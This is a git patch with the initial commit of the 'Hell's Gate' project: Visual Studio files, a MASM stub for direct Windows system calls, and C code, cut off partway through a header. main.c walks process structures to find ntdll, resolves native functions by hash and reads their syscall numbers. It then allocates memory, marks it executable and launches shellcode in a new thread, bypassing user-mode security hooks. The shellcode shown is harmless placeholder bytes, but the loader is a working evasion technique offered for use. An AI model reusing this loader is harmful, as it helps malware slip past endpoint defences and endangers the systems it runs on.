From aade019421e234c786a0b88c0c2f41f97e542446 Mon Sep 17 00:00:00 2001
From: am0nsec <20334678+am0nsec@users.noreply.github.com>
Date: Tue, 2 Jun 2020 18:22:04 +0100
Subject: [PATCH] init
---
.gitignore | 360 ++++++++++++++++++++++++++++
HellsGate.sln | 31 +++
HellsGate/HellsGate.vcxproj | 161 +++++++++++++
HellsGate/HellsGate.vcxproj.filters | 32 +++
HellsGate/hellsgate.masm | 29 +++
HellsGate/main.c | 207 ++++++++++++++++
HellsGate/structs.h | 337 ++++++++++++++++++++++++++
README.md | 12 +
hells-gate.pdf | Bin 0 -> 381301 bytes
9 files changed, 1169 insertions(+)
create mode 100644 .gitignore
create mode 100644 HellsGate.sln
create mode 100644 HellsGate/HellsGate.vcxproj
create mode 100644 HellsGate/HellsGate.vcxproj.filters
create mode 100644 HellsGate/hellsgate.masm
create mode 100644 HellsGate/main.c
create mode 100644 HellsGate/structs.h
create mode 100644 README.md
create mode 100644 hells-gate.pdf
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..517078a
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,360 @@
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+##
+## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
+
+# User-specific files
+*.rsuser
+*.suo
+*.user
+*.userosscache
+*.sln.docstates
+
+# User-specific files (MonoDevelop/Xamarin Studio)
+*.userprefs
+
+# Mono auto generated files
+mono_crash.*
+
+# Build results
+[Dd]ebug/
+[Dd]ebugPublic/
+[Rr]elease/
+[Rr]eleases/
+x64/
+x86/
+[Ww][Ii][Nn]32/
+[Aa][Rr][Mm]/
+[Aa][Rr][Mm]64/
+bld/
+[Bb]in/
+[Oo]bj/
+[Ll]og/
+[Ll]ogs/
+
+# Visual Studio 2015/2017 cache/options directory
+.vs/
+# Uncomment if you have tasks that create the project's static files in wwwroot
+#wwwroot/
+
+# Visual Studio 2017 auto generated files
+Generated\ Files/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+
+# NUnit
+*.VisualState.xml
+TestResult.xml
+nunit-*.xml
+
+# Build Results of an ATL Project
+[Dd]ebugPS/
+[Rr]eleasePS/
+dlldata.c
+
+# Benchmark Results
+BenchmarkDotNet.Artifacts/
+
+# .NET Core
+project.lock.json
+project.fragment.lock.json
+artifacts/
+
+# ASP.NET Scaffolding
+ScaffoldingReadMe.txt
+
+# StyleCop
+StyleCopReport.xml
+
+# Files built by Visual Studio
+*_i.c
+*_p.c
+*_h.h
+*.ilk
+*.meta
+*.obj
+*.iobj
+*.pch
+*.pdb
+*.ipdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*_wpftmp.csproj
+*.log
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.svclog
+*.scc
+
+# Chutzpah Test files
+_Chutzpah*
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opendb
+*.opensdf
+*.sdf
+*.cachefile
+*.VC.db
+*.VC.VC.opendb
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+*.sap
+
+# Visual Studio Trace Files
+*.e2e
+
+# TFS 2012 Local Workspace
+$tf/
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+*.DotSettings.user
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# AxoCover is a Code Coverage Tool
+.axoCover/*
+!.axoCover/settings.json
+
+# Coverlet is a free, cross platform Code Coverage Tool
+coverage*[.json, .xml, .info]
+
+# Visual Studio code coverage results
+*.coverage
+*.coveragexml
+
+# NCrunch
+_NCrunch_*
+.*crunch*.local.xml
+nCrunchTemp_*
+
+# MightyMoose
+*.mm.*
+AutoTest.Net/
+
+# Web workbench (sass)
+.sass-cache/
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.[Pp]ublish.xml
+*.azurePubxml
+# Note: Comment the next line if you want to checkin your web deploy settings,
+# but database connection strings (with potential passwords) will be unencrypted
+*.pubxml
+*.publishproj
+
+# Microsoft Azure Web App publish settings. Comment the next line if you want to
+# checkin your Azure Web App publish settings, but sensitive information contained
+# in these scripts will be unencrypted
+PublishScripts/
+
+# NuGet Packages
+*.nupkg
+# NuGet Symbol Packages
+*.snupkg
+# The packages folder can be ignored because of Package Restore
+**/[Pp]ackages/*
+# except build/, which is used as an MSBuild target.
+!**/[Pp]ackages/build/
+# Uncomment if necessary however generally it will be regenerated when needed
+#!**/[Pp]ackages/repositories.config
+# NuGet v3's project.json files produces more ignorable files
+*.nuget.props
+*.nuget.targets
+
+# Microsoft Azure Build Output
+csx/
+*.build.csdef
+
+# Microsoft Azure Emulator
+ecf/
+rcf/
+
+# Windows Store app package directories and files
+AppPackages/
+BundleArtifacts/
+Package.StoreAssociation.xml
+_pkginfo.txt
+*.appx
+*.appxbundle
+*.appxupload
+
+# Visual Studio cache files
+# files ending in .cache can be ignored
+*.[Cc]ache
+# but keep track of directories ending in .cache
+!?*.[Cc]ache/
+
+# Others
+ClientBin/
+~$*
+*~
+*.dbmdl
+*.dbproj.schemaview
+*.jfm
+*.pfx
+*.publishsettings
+orleans.codegen.cs
+
+# Including strong name files can present a security risk
+# (https://github.com/github/gitignore/pull/2483#issue-259490424)
+#*.snk
+
+# Since there are multiple workflows, uncomment next line to ignore bower_components
+# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
+#bower_components/
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file
+# to a newer Visual Studio version. Backup files are not needed,
+# because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+ServiceFabricBackup/
+*.rptproj.bak
+
+# SQL Server files
+*.mdf
+*.ldf
+*.ndf
+
+# Business Intelligence projects
+*.rdl.data
+*.bim.layout
+*.bim_*.settings
+*.rptproj.rsuser
+*- [Bb]ackup.rdl
+*- [Bb]ackup ([0-9]).rdl
+*- [Bb]ackup ([0-9][0-9]).rdl
+
+# Microsoft Fakes
+FakesAssemblies/
+
+# GhostDoc plugin setting file
+*.GhostDoc.xml
+
+# Node.js Tools for Visual Studio
+.ntvs_analysis.dat
+node_modules/
+
+# Visual Studio 6 build log
+*.plg
+
+# Visual Studio 6 workspace options file
+*.opt
+
+# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
+*.vbw
+
+# Visual Studio LightSwitch build output
+**/*.HTMLClient/GeneratedArtifacts
+**/*.DesktopClient/GeneratedArtifacts
+**/*.DesktopClient/ModelManifest.xml
+**/*.Server/GeneratedArtifacts
+**/*.Server/ModelManifest.xml
+_Pvt_Extensions
+
+# Paket dependency manager
+.paket/paket.exe
+paket-files/
+
+# FAKE - F# Make
+.fake/
+
+# CodeRush personal settings
+.cr/personal
+
+# Python Tools for Visual Studio (PTVS)
+__pycache__/
+*.pyc
+
+# Cake - Uncomment if you are using it
+# tools/**
+# !tools/packages.config
+
+# Tabs Studio
+*.tss
+
+# Telerik's JustMock configuration file
+*.jmconfig
+
+# BizTalk build output
+*.btp.cs
+*.btm.cs
+*.odx.cs
+*.xsd.cs
+
+# OpenCover UI analysis results
+OpenCover/
+
+# Azure Stream Analytics local run output
+ASALocalRun/
+
+# MSBuild Binary and Structured Log
+*.binlog
+
+# NVidia Nsight GPU debugger configuration file
+*.nvuser
+
+# MFractors (Xamarin productivity tool) working folder
+.mfractor/
+
+# Local History for Visual Studio
+.localhistory/
+
+# BeatPulse healthcheck temp database
+healthchecksdb
+
+# Backup folder for Package Reference Convert tool in Visual Studio 2017
+MigrationBackup/
+
+# Ionide (cross platform F# VS Code tools) working folder
+.ionide/
+
+# Fody - auto-generated XML schema
+FodyWeavers.xsd
diff --git a/HellsGate.sln b/HellsGate.sln
new file mode 100644
index 0000000..688bc5d
--- /dev/null
+++ b/HellsGate.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.30114.105
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HellsGate", "HellsGate\HellsGate.vcxproj", "{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.ActiveCfg = Debug|x64
+ {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.Build.0 = Debug|x64
+ {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.ActiveCfg = Debug|Win32
+ {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.Build.0 = Debug|Win32
+ {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.ActiveCfg = Release|x64
+ {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.Build.0 = Release|x64
+ {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.ActiveCfg = Release|Win32
+ {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {AAAFFDAB-0074-4A3D-BA5B-63F51AA7F8EB}
+ EndGlobalSection
+EndGlobal
diff --git a/HellsGate/HellsGate.vcxproj b/HellsGate/HellsGate.vcxproj
new file mode 100644
index 0000000..20a3890
--- /dev/null
+++ b/HellsGate/HellsGate.vcxproj
@@ -0,0 +1,161 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {dc6187cb-d5df-4973-84a2-f92aae90cda9}
+ HellsGate
+ 10.0
+
+
+
+ Application
+ true
+ v142
+ Unicode
+ false
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+ false
+
+
+ Application
+ true
+ v142
+ Unicode
+ false
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+ false
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+ true
+
+
+ false
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
+
+ Document
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/HellsGate/HellsGate.vcxproj.filters b/HellsGate/HellsGate.vcxproj.filters
new file mode 100644
index 0000000..356b0df
--- /dev/null
+++ b/HellsGate/HellsGate.vcxproj.filters
@@ -0,0 +1,32 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ Source Files
+
+
+
+
+ Header Files
+
+
+
+
+ Source Files
+
+
+
\ No newline at end of file
diff --git a/HellsGate/hellsgate.masm b/HellsGate/hellsgate.masm
new file mode 100644
index 0000000..83a12dd
--- /dev/null
+++ b/HellsGate/hellsgate.masm
@@ -0,0 +1,29 @@
+; Hell's Gate
+; Dynamic system call invocation
+;
+; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
+
+.data
+ wSystemCall DWORD 000h
+
+.code
+ HellsGate PROC
+ mov wSystemCall, 000h
+ mov wSystemCall, ecx
+ ret
+ HellsGate ENDP
+
+ HellDescent PROC
+ mov r10, rcx
+ mov eax, wSystemCall
+
+ syscall
+ ret
+ HellDescent ENDP
+
+
+ GetPeb PROC
+ mov rax, GS:[60h]
+ ret
+ GetPeb ENDP
+end
\ No newline at end of file
diff --git a/HellsGate/main.c b/HellsGate/main.c
new file mode 100644
index 0000000..e3f641b
--- /dev/null
+++ b/HellsGate/main.c
@@ -0,0 +1,207 @@
+/*+===================================================================
+ File: main.c
+ Summary: Original C Implementation of the Hell's Gate VX Technique
+ Classes: N/A
+ Functions: N/A
+ Origin: https://github.com/am0nsec/HellsGate
+##
+ Authors:
+ Paul Laine (@am0nsec)
+ smelly__vx (@RtlMateusz)
+===================================================================+*/
+#pragma once
+#include
+#include "structs.h"
+
+/*--------------------------------------------------------------------
+ VX Tables
+--------------------------------------------------------------------*/
+typedef struct _VX_TABLE_ENTRY {
+ PVOID pAddress;
+ DWORD64 dwHash;
+ WORD wSystemCall;
+} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
+
+typedef struct _VX_TABLE {
+ VX_TABLE_ENTRY NtAllocateVirtualMemory;
+ VX_TABLE_ENTRY NtProtectVirtualMemory;
+ VX_TABLE_ENTRY NtCreateThreadEx;
+ VX_TABLE_ENTRY NtWaitForSingleObject;
+} VX_TABLE, * PVX_TABLE;
+
+/*--------------------------------------------------------------------
+ Function prototypes.
+--------------------------------------------------------------------*/
+PTEB RtlGetThreadEnvironmentBlock();
+PPEB RtlGetProcessEnvironmentBlock();
+BOOL GetImageExportDirectory(
+ _In_ PVOID pModuleBase,
+ _Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory
+);
+BOOL GetVxTableEntry(
+ _In_ PVOID pModuleBase,
+ _In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,
+ _In_ PVX_TABLE_ENTRY pVxTableEntry
+);
+BOOL Payload(
+ _In_ PVX_TABLE pVxTable
+);
+PVOID VxMoveMemory(
+ _Inout_ PVOID dest,
+ _In_ const PVOID src,
+ _In_ SIZE_T len
+);
+
+/*--------------------------------------------------------------------
+ External functions' prototype.
+--------------------------------------------------------------------*/
+extern VOID HellsGate(WORD wSystemCall);
+extern HellDescent();
+
+INT wmain() {
+ PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
+ PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
+ if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) {
+ return 0x1;
+ }
+
+ // Get NTDLL module
+ PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
+
+ // Get the EAT of NTDLL
+ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
+ if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
+ return 0x01;
+
+ VX_TABLE Table = { 0 };
+ Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
+ GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory);
+
+ Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
+ GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx);
+
+ Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
+ GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory);
+
+ Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
+ GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject);
+
+ Payload(&Table);
+ return 0x00;
+}
+
+PTEB RtlGetThreadEnvironmentBlock() {
+#if _WIN64
+ return (PTEB)__readgsqword(0x30);
+#else
+ return (PTEB)__readfsdword(0x16);
+#endif
+}
+
+PPEB RtlGetProcessEnvironmentBlock() {
+#if _WIN64
+ return (PPEB)__readgsqword(0x60);
+#else
+ return (PPEB)__readfsdword(0x30);
+#endif
+}
+
+DWORD64 djb2(PBYTE str) {
+ DWORD64 dwHash = 0x7734773477347734;
+ INT c;
+
+ while (c = *str++)
+ dwHash = ((dwHash << 0x5) + dwHash) + c;
+
+ return dwHash;
+}
+
+BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
+ // Get DOS header
+ PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
+ if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
+ return FALSE;
+ }
+
+ // Get NT headers
+ PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
+ if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
+ return FALSE;
+ }
+
+ // Get the EAT
+ *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
+ return TRUE;
+}
+
+BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
+ PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
+ PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
+ PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
+
+ for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
+ PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
+ PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
+
+ if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
+ pVxTableEntry->pAddress = pFunctionAddress;
+
+ // MOV EAX
+ if (*((PBYTE)pFunctionAddress + 3) == 0xb8) {
+ BYTE high = *((PBYTE)pFunctionAddress + 5);
+ BYTE low = *((PBYTE)pFunctionAddress + 4);
+ pVxTableEntry->wSystemCall = (high << 8) | low;
+ break;
+ }
+ }
+ }
+
+ return TRUE;
+}
+
+BOOL Payload(PVX_TABLE pVxTable) {
+ NTSTATUS status = 0x00000000;
+ char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
+
+ // Allocate memory for the shellcode
+ PVOID lpAddress = NULL;
+ SIZE_T sDataSize = sizeof(shellcode);
+ HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
+ status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
+
+ // Write Memory
+ VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
+
+ // Change page permissions
+ ULONG ulOldProtect = NULL;
+ HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
+ status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
+
+ // Create thread
+ HANDLE hHostThread = INVALID_HANDLE_VALUE;
+ HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
+ status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
+
+ // Wait for 1 seconds
+ LARGE_INTEGER Timeout;
+ Timeout.QuadPart = -10000000;
+ HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
+ status = HellDescent(hHostThread, FALSE, &Timeout);
+
+ return TRUE;
+}
+
+PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
+ char* d = dest;
+ const char* s = src;
+ if (d < s)
+ while (len--)
+ *d++ = *s++;
+ else {
+ char* lasts = s + (len - 1);
+ char* lastd = d + (len - 1);
+ while (len--)
+ *lastd-- = *lasts--;
+ }
+ return dest;
+}
\ No newline at end of file
diff --git a/HellsGate/structs.h b/HellsGate/structs.h
new file mode 100644
index 0000000..7ed8387
--- /dev/null
+++ b/HellsGate/structs.h
@@ -0,0 +1,337 @@
+#pragma once
+#include
+
+/*--------------------------------------------------------------------
+ STRUCTURES
+--------------------------------------------------------------------*/
+typedef struct _LSA_UNICODE_STRING {
+ USHORT Length;
+ USHORT MaximumLength;
+ PWSTR Buffer;
+} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;
+
+typedef struct _LDR_MODULE {
+ LIST_ENTRY InLoadOrderModuleList;
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ PVOID BaseAddress;
+ PVOID EntryPoint;
+ ULONG SizeOfImage;
+ UNICODE_STRING FullDllName;
+ UNICODE_STRING BaseDllName;
+ ULONG Flags;
+ SHORT LoadCount;
+ SHORT TlsIndex;
+ LIST_ENTRY HashTableEntry;
+ ULONG TimeDateStamp;
+} LDR_MODULE, * PLDR_MODULE;
+
+typedef struct _PEB_LDR_DATA {
+ ULONG Length;
+ ULONG Initialized;
+ PVOID SsHandle;
+ LIST_ENTRY InLoadOrderModuleList;
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+} PEB_LDR_DATA, * PPEB_LDR_DATA;
+
+typedef struct _PEB {
+ BOOLEAN InheritedAddressSpace;
+ BOOLEAN ReadImageFileExecOptions;
+ BOOLEAN BeingDebugged;
+ BOOLEAN Spare;
+ HANDLE Mutant;
+ PVOID ImageBase;
+ PPEB_LDR_DATA LoaderData;
+ PVOID ProcessParameters;
+ PVOID SubSystemData;
+ PVOID ProcessHeap;
+ PVOID FastPebLock;
+ PVOID FastPebLockRoutine;
+ PVOID FastPebUnlockRoutine;
+ ULONG EnvironmentUpdateCount;
+ PVOID* KernelCallbackTable;
+ PVOID EventLogSection;
+ PVOID EventLog;
+ PVOID FreeList;
+ ULONG TlsExpansionCounter;
+ PVOID TlsBitmap;
+ ULONG TlsBitmapBits[0x2];
+ PVOID ReadOnlySharedMemoryBase;
+ PVOID ReadOnlySharedMemoryHeap;
+ PVOID* ReadOnlyStaticServerData;
+ PVOID AnsiCodePageData;
+ PVOID OemCodePageData;
+ PVOID UnicodeCaseTableData;
+ ULONG NumberOfProcessors;
+ ULONG NtGlobalFlag;
+ BYTE Spare2[0x4];
+ LARGE_INTEGER CriticalSectionTimeout;
+ ULONG HeapSegmentReserve;
+ ULONG HeapSegmentCommit;
+ ULONG HeapDeCommitTotalFreeThreshold;
+ ULONG HeapDeCommitFreeBlockThreshold;
+ ULONG NumberOfHeaps;
+ ULONG MaximumNumberOfHeaps;
+ PVOID** ProcessHeaps;
+ PVOID GdiSharedHandleTable;
+ PVOID ProcessStarterHelper;
+ PVOID GdiDCAttributeList;
+ PVOID LoaderLock;
+ ULONG OSMajorVersion;
+ ULONG OSMinorVersion;
+ ULONG OSBuildNumber;
+ ULONG OSPlatformId;
+ ULONG ImageSubSystem;
+ ULONG ImageSubSystemMajorVersion;
+ ULONG ImageSubSystemMinorVersion;
+ ULONG GdiHandleBuffer[0x22];
+ ULONG PostProcessInitRoutine;
+ ULONG TlsExpansionBitmap;
+ BYTE TlsExpansionBitmapBits[0x80];
+ ULONG SessionId;
+} PEB, * PPEB;
+
+typedef struct __CLIENT_ID {
+ HANDLE UniqueProcess;
+ HANDLE UniqueThread;
+} CLIENT_ID, * PCLIENT_ID;
+
+typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
+ ULONG Flags;
+ PCHAR FrameName;
+} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
+
+typedef struct _TEB_ACTIVE_FRAME {
+ ULONG Flags;
+ struct _TEB_ACTIVE_FRAME* Previous;
+ PTEB_ACTIVE_FRAME_CONTEXT Context;
+} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
+
+typedef struct _GDI_TEB_BATCH {
+ ULONG Offset;
+ ULONG HDC;
+ ULONG Buffer[310];
+} GDI_TEB_BATCH, * PGDI_TEB_BATCH;
+
+typedef PVOID PACTIVATION_CONTEXT;
+
+typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
+ struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
+ PACTIVATION_CONTEXT ActivationContext;
+ ULONG Flags;
+} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
+
+typedef struct _ACTIVATION_CONTEXT_STACK {
+ PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
+ LIST_ENTRY FrameListCache;
+ ULONG Flags;
+ ULONG NextCookieSequenceNumber;
+ ULONG StackId;
+} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
+
+typedef struct _TEB {
+ NT_TIB NtTib;
+ PVOID EnvironmentPointer;
+ CLIENT_ID ClientId;
+ PVOID ActiveRpcHandle;
+ PVOID ThreadLocalStoragePointer;
+ PPEB ProcessEnvironmentBlock;
+ ULONG LastErrorValue;
+ ULONG CountOfOwnedCriticalSections;
+ PVOID CsrClientThread;
+ PVOID Win32ThreadInfo;
+ ULONG User32Reserved[26];
+ ULONG UserReserved[5];
+ PVOID WOW32Reserved;
+ LCID CurrentLocale;
+ ULONG FpSoftwareStatusRegister;
+ PVOID SystemReserved1[54];
+ LONG ExceptionCode;
+#if (NTDDI_VERSION >= NTDDI_LONGHORN)
+ PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
+ UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
+ ULONG TxFsContext;
+#elif (NTDDI_VERSION >= NTDDI_WS03)
+ PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
+ UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
+#else
+ ACTIVATION_CONTEXT_STACK ActivationContextStack;
+ UCHAR SpareBytes1[24];
+#endif
+ GDI_TEB_BATCH GdiTebBatch;
+ CLIENT_ID RealClientId;
+ PVOID GdiCachedProcessHandle;
+ ULONG GdiClientPID;
+ ULONG GdiClientTID;
+ PVOID GdiThreadLocalInfo;
+ PSIZE_T Win32ClientInfo[62];
+ PVOID glDispatchTable[233];
+ PSIZE_T glReserved1[29];
+ PVOID glReserved2;
+ PVOID glSectionInfo;
+ PVOID glSection;
+ PVOID glTable;
+ PVOID glCurrentRC;
+ PVOID glContext;
+ NTSTATUS LastStatusValue;
+ UNICODE_STRING StaticUnicodeString;
+ WCHAR StaticUnicodeBuffer[261];
+ PVOID DeallocationStack;
+ PVOID TlsSlots[64];
+ LIST_ENTRY TlsLinks;
+ PVOID Vdm;
+ PVOID ReservedForNtRpc;
+ PVOID DbgSsReserved[2];
+#if (NTDDI_VERSION >= NTDDI_WS03)
+ ULONG HardErrorMode;
+#else
+ ULONG HardErrorsAreDisabled;
+#endif
+#if (NTDDI_VERSION >= NTDDI_LONGHORN)
+ PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
+ GUID ActivityId;
+ PVOID SubProcessTag;
+ PVOID EtwLocalData;
+ PVOID EtwTraceData;
+#elif (NTDDI_VERSION >= NTDDI_WS03)
+ PVOID Instrumentation[14];
+ PVOID SubProcessTag;
+ PVOID EtwLocalData;
+#else
+ PVOID Instrumentation[16];
+#endif
+ PVOID WinSockData;
+ ULONG GdiBatchCount;
+#if (NTDDI_VERSION >= NTDDI_LONGHORN)
+ BOOLEAN SpareBool0;
+ BOOLEAN SpareBool1;
+ BOOLEAN SpareBool2;
+#else
+ BOOLEAN InDbgPrint;
+ BOOLEAN FreeStackOnTermination;
+ BOOLEAN HasFiberData;
+#endif
+ UCHAR IdealProcessor;
+#if (NTDDI_VERSION >= NTDDI_WS03)
+ ULONG GuaranteedStackBytes;
+#else
+ ULONG Spare3;
+#endif
+ PVOID ReservedForPerf;
+ PVOID ReservedForOle;
+ ULONG WaitingOnLoaderLock;
+#if (NTDDI_VERSION >= NTDDI_LONGHORN)
+ PVOID SavedPriorityState;
+ ULONG_PTR SoftPatchPtr1;
+ ULONG_PTR ThreadPoolData;
+#elif (NTDDI_VERSION >= NTDDI_WS03)
+ ULONG_PTR SparePointer1;
